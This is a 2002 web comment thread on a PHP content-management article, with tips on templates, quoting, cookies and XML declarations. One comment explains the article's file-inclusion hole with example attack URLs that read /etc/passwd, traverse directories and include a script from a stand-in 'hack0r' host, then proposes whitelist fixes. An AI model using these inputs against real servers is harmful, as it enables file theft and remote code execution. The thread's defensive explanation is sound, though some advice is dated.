Discuss: Manage Your Content With PHP
by Christopher Robbins
- Editorial Comments
2 Talk about timing
(In response to the template question above: you could say “if page=template, then [do something] … else, load everything normally”)
Speaking of PHP management systems, I was frustrated by a lack of simple options, so I wrote my own 5k system called Rodin: http://rodin.lot23.com . It’s open sourced, free, and is kept as simple as possible. A good template for beginners.
posted at 08:46 am on August 8, 2002 by Jon
3 Re: Infinite Loop
Yes. You could do it in a few different ways. The easiest way would probably just be to check the value before you redirect. If it is “template”, then you can reassign the value.
<?php if ($template == “template”) $template = “home”; ?>
It should also be noted that in later versions of php (maybe 4.1+ ?), accessing querystring (URL) variables directly is no longer the correct way to do it and does not work by default. You have to access querystring variables through the $_GET array. In older versions, it’s recommended to use $HTTP_GET_VARS. http://www.php.net/manual/en/language.variables.predefined.php
<?php $template = $_GET[“template”]; ?>
Later,
James Craig
posted at 08:54 am on August 8, 2002 by James Craig
4 Header() function and shortcuts
A few notes to all you soon-to-be PHP converts out there…
1) a header() call must be made before any HTML in the document
2) a good shortcut for writing the value of a variable in (x)html is
<?=$foo?>
3) you can forgo the echo commands if you wish and section out your conditionals as such:
<? if ($foo==“1”) { ?>
foo.jpg
<? } else { ?>
foo2.jpg
<? } ?>
4) you will no doubt get an error trying to write the xml declaration at the top as it is encapsulated in <? ?> like php so the php engine will try to read it. you can circumvent this by having the php write out the xml declaration in an echo statement. just be sure to escape (\) your quotes (”). <? echo “<?xml … ?>”; ?>
posted at 11:44 am on August 8, 2002 by Aaron G
5 A Few More Notes
Couple things:
You should always be extremely careful when using include() or require() and user input. Never trust the user. In this case, possible bad side effects are minimized by adding the .html in the require call, but there is still the possibility mentioned above of including the template page. Probably the simplest solution is to make an array of acceptable pages and then verify that the page passed by the user is in that array…
<?php $acceptable_pages = array( ‘index’, ‘bio’, ‘photos’, ‘projects’ );
// header/menu stuff goes here // get the page from the URL $page = $_REQUEST[ ‘page’ ]; // make sure the page is in the acceptable pages array // in_array is a PHP 4 function. You can roll your own array inspection code in PHP3. if ( in_array( $page, $acceptable_pages ) ) { require_once( “$page.html” ); } else { // make your own pseudo-404 page require_once( “error.html” ); }?>
I also added a little error handling – if a bad page gets thrown to the script, it will include “error.html” which essentially acts as a custom 404 page. From there you can suggest other pages or just tell the visitor that they hit a bad page. Enjoy.
posted at 12:35 pm on August 8, 2002 by dave hendler
6 PHP security problems
Here are some more details on the security risks that have been mentioned above.
This method of php programming is insecure with most default installations of php. It has been widly documented that you cannot trust external input. For example, on php 4.1.2 and older the following will load any file on your system that the web server has read access to (including /etc/passwd):
http://yourserver/insecure.php?page=/etc/passwd
(note, this requires that magic_quotes be turned on which is the default)
You can also read any .html file on the system that the web server has access to. Let’s say this script was used on an intranet:
http://yourserver/insecure.php?page=../../hr/index
Also, depending on how php is configured, an attacker can even load their own script and have it execute on your server as if it were a part of your application.
http://yourserver/insecure.php?page=http://hack0r/crack.php?
would look like:
require_once(“http://hack0r/crack.php?.html”);
in your code. By default this is turned on in most php installations.
A solution (there are many others but this one is simple):
Employ the deny all principle. Use a hash to lookup valid pages that can be loaded dynically. For example:
$pages[‘index’] = ‘index.html’;
$pages[‘products’] = ‘prodcuts.html’;
// …
require_once($pages[$page]);
// you’re even better off to validate the page lookup first and log any failures to a security log to help catch any attackers.
Here are some references on secure php programming. There are many more but these should serve as a good introduction.
http://www.php.net/manual/en/security.php
http://www.securereality.com.au/studyinscarlet.txt
http://online.securityfocus.com/archive/107/276307/2002-06-11/2002-06-17/1
http://www.owasp.org/
Feel free to contact me if you have any questions, suggestions or concerns.
-Skye
scove@occl.com
posted at 12:53 pm on August 8, 2002 by skye
7 Whew
As mentioned above, this style of coding can have very drastic security implications, and I wouldn’t recommend it.
I use a variation of this system on my site. Here are a couple of tricks and tips I’ve picked up along the way:
Proper use of quotes can really clean up your code, and potentially even make it faster. Double quotes “” tell PHP that there is something it needs to evaluate inside that string, so it’s great for something like
echo “It is $time”;
If you were going to echo out a string with no variables, do it using single quotes, like
echo ‘XHTML and CSS rock my boat’;
Escaping double quotes in a string can be a real mess, and I find it inconvinient, however there is an incredibly easy fix. Use single quotes for attributes inside your (X)HTML, which is fully compliant and don’t need to be escaped, like so:
echo “[url=”$link” title=’$title’]$text[/url]”;
There, nice and clean. Ahhhhh.
When you’re coding one tip that could potentially save you a lot of time is to put the constant on the left of conditional statements. For example:
<?php
if (’‘ $style) {
$style= 'default';
}
if ('fancy' $style) {
$style = ‘sophisto’;
} ?>
Okay note all the changes there, first strings with no variables have single quotes around them. Next we have constants on the left. Why? Two equal signs mean it’s a logical statement, and PHP checks if they equal each other and return true or false, whereas one equal sign assigns value. So if you had this in your script as a typo:
if ($secret = ‘yes’) {
echo $secretstuff;
}
It would get to the if statement and say “Is secret equal to ‘yes’? Sure! Let’s go!” This can be confusing when debugging, and hard to spot. If it saves you 10 minutes somewhere down the line, and doesn’t cost any time to do when you write the code, why not?
I have had no end of trouble with PHP’s built in set-cookie function, espescially with it working right on older browser and redirecting people after the cookie had been set. My goal was to have a link people could click that would change the stylesheet (all server-side) and take them back to wherever they were (see http://www.mullenweg.com for example). Here’s the code I ended up with, which would be ideal for a PHP CMS system like in the article:
$cookielife = 365*24*3600; // set for one year
$date = gmstrftime(”%A, %d-%b-%Y %H:%M:%S”,(mktime()+$cookielife) );
header(“Set-Cookie: theme=$theme; path=/; domain=.photomatt.net; expires=”.gmstrftime(”%A, %d-%b-%Y %H:%M:%S GMT”,time()+10960000)); // old school way of setting cookies. Note the dot in front of the URL, this tells it to work for any subdomains as well
header(‘Location: ‘.$_SERVER[‘HTTP_REFERER’]); // uses new $_ variable
Finally just one minor note, instead of
<div id=‘menu’>
<?php include(’/path/to/menu.php’); ?>
</div>
Why not have the container DIV tags inside the menu.php file? I find this more convinent, espescially for putting elements of your templete in other pages. Also note it’s generally a better practice to use id instead of class for unique elements.
The simplest system I’ve ever used for templetes is also the one I keep coming back to because it works so well. A sample page would look like this:
<?php
$title = ‘Title of sample page!’;
include_once(‘header.php’);
?>
Everything I want on the page goes here, content, HTML, whatever.
<?php
include_once(‘footer.php’);
?>
The header has the DOCTYPE, head stuff, echos out the title, runs a breadcrumb script I wrote (http://www.photomatt.net/index.php?m=200207#65), and <div id=‘content’> to start my content. The footer includes the menu, closes all the tags, and puts anything I want at the bottom of the pages. Another benefit that people have enjoyed when I show this to them is that it works well with Dreamweaver MX. I gave DW up a while ago, but I’ve seen the results and it works just like a DW generated templete might. If any of this has been unclear or you have any questions email me or visit my site. Enjoy!
posted at 03:33 pm on August 8, 2002 by Matthew Mullenweg
8 XML Notes
Back again. If you work a lot with XML it might be easier for you to turn off short_open_tag in your PHP configuration (php.ini) file. The downside is you will no longer be able to use <? or <?=, only <?php and possibly the [removed] method. An easier solution is to echo out the XML declaration like Aaron pointed out above, however the way he suggested to do it doesn’t work, at least on my system. You have to seperate the ?> part of the declaration, like so:
<?php echo ‘<?xml version=“1.0” encoding=“iso-8859-1”?’.’>’; ?>
All we did here was concatenate (join) two strings, and there you have it. Go forth and create valid documents and XML! Of course using the <?xml line does mess up your page in some browsers, which has been covered in detail on either ALA or Zeldman’s Daily Report; the link escapes me right now.
posted at 03:45 pm on August 8, 2002 by Matthew Mullenweg
9 More security tips
Thanks for all the security input.
I received a few more important security tips in the email:
I saw your “A list apart” article about PHP content management linked from
web reference. I just wanted to point out that you should do some checking
on your page variables.
At the very least, you might want to strip out slashes:
$page = str_replace(’/’,’‘,$page);
That’ll keep people from looking around outside of your directory.
[a few lines removed]
I’d also recommend turning the warnings off for the site by adding something
like this at the top of the script:
<?php error_reporting(0); ?>
Hope it helps.
Sincerely,
Paul Burney
<http://paulburney.com>
</Paul Burney>
posted at 06:23 pm on August 8, 2002 by Christopher Robbins
10 Decent But...
Hi…
Not a bad article, but it would’ve been nice if the “echo” system was explained and what the different files would have looked like such as the menu…it took a while to figure it out – but i kind of got it.
After messing with the way php works, i got it to work somewhat. After modifying things to work for what i want, i constantly get an error in line 15/16/17 or 18 and for the life of me can’t figure out what the issue is. The “includes” are all there calling the correct files but there are still glitches.
But i got it to work enough that i’m hooked… so thanks.
posted at 09:11 pm on August 8, 2002 by Marty M
Discussion Closed
New comments are not being accepted, but you are welcome to explore what people said before we closed the door.
Got something to say?
Discuss this article. We reserve the right to delete flames, trolls, and wood nymphs.
Create a new account or sign in below if you’d like to leave a comment.
Subscribe to this article's comments: RSS (what’s this?)




1 Infinite Loop
What if someone enters in template.php?page=template ?
Is there a way of stopping this?
posted at 04:54 pm on July 26, 2002 by John